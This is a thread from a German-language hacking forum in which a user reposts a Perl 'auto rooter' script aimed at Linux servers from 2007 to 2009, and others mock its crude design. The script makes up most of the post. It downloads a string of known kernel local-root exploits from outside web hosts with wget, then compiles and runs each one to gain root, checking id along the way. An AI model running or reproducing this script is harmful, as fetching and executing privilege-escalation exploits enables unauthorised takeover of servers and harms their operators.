[perl] Auto Linux Server Rooter

[lyrix]

Original von ABH Sorry für die scheiss Darstellung

Automatically roots the server for you, stress free. 2007-2009 boxes only.


#!/bin/perl
# Auto Rooting Linux
# By xp
# Local root 2007 2008 2009 for Linux Priv8
# Usage: perl xp10-Root.pl
# Version: 1.0 !!!
# Tout usage des informations diffus es par Metropolis est soumi autorisation pr alable et express.
# a violation de ces dispositions imp ratives soumet le contrevenant,
# et toutes personnes responsables, aux peines p nales et civiles pr vues par la loi fran aise.
#
# Info:la commande gcc et wget doit tre activ e.
#
{
system ( "uname -a" );
system ( "wget www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz" );
system ( "tar zxvf sock-sendpage-local-root-exploit.tar.gz" );
system ( "cd sock-sendpage-local-root-exploit" );
system ( "chmod 755 wunderbar_emporium.sh" );
system ( "sh wunderbar_emporium.sh" );
system ( "id" );
system ( "cat /proc/sys/vm/mmap_min_addr" );
print "Please Wait ..." ;
system ( "wget www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c" );
system ( "gcc -o gayros local-root-exploit-gayros.c" );
system ( "chmod 777 gayros" );
system ( "./gayros" );
system ( "id" );
system ( "wget www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c" );
system ( "gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c" );
system ( "chmod 777 vmsplice-local-root-exploit" );
system ( "./vmsplice-local-root-exploit" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x2" );
system ( "chmod 777 x2" );
system ( "./x2" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x" );
system ( "chmod 777 x" );
system ( "./x" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/uselib24" );
system ( "chmod 777 uselib24" );
system ( "./uselib24" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/root2" );
system ( "chmod 777 root2" );
system ( "id" );
system ( "./root2" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/kmod2" );
system ( "chmod 777 kmod2" );
system ( "./kmod2" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/h00lyshit" );
system ( "chmod 777 h00lyshit" );
system ( "./h00lyshit" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/exp.sh" );
system ( "chmod 755 exp.sh" );
system ( "sh exp.sh" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/elflbl" );
system ( "chmod 777 elflbl" );
system ( "./elflbl" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/cw7.3" );
system ( "chmod 777 cw7.3" );
system ( "./cw7.3" );
system ( "id" );
system ( "wget http://rmccurdy.com/scripts/downloaded/localroot/2.4.x/newlocal" );
system ( "chmod 777 newlocal" );
system ( "./newlocal" );
system ( "id" );
system ( "uname -a" );
system ( "id;pwd" );
print "XP" ;
print "[ w7s7[at]hotmail[dot]com ]" ;
print "[ XP10.me ]" ;
}

[cby]

So was schlechtes habe ich ja noch nie gesehen
Für so was Perl zu verwenden halte schlicht weg für eine Vergewaltigung.
In diesem Script wird zwar `id` ausgegeben, aber wird nie überprüft. Wenn man nun bei dem ersten Exploit root bekommt, macht dieses Script munter weiter bis zum Ende.

[lyrix]

Habs nur CP von ABH.Kenn mich leider nicht mit Perl aus.

[cby]

Wieso bitte schreibst du dann solche Beiträge? Dieser Beitrag war so viel Wert, dass er schon fast für /dev/null zu schade ist.

[lyrix]

Um evtl die Aktivität zu fördern?

[Lindor]

Um evtl die Aktivität zu fördern?

Quantität geht eh über Qualität.
Was bringt es uns/dir wenn du eher minderwertige Scripts per C&P hier reinstellst sie aber nicht einmal verstehst?

PS: Ich werde nachher noch ein paar Lasagne Rezepte reinstellen, damit die Aktivität steigt.

[Cheese]

is auch echt schweres perl, man muss schon jeden trick der sprache beherschen um den source zu verstehen.

[cby]

Sieh schon fast nach Perlgolf aus Cheese.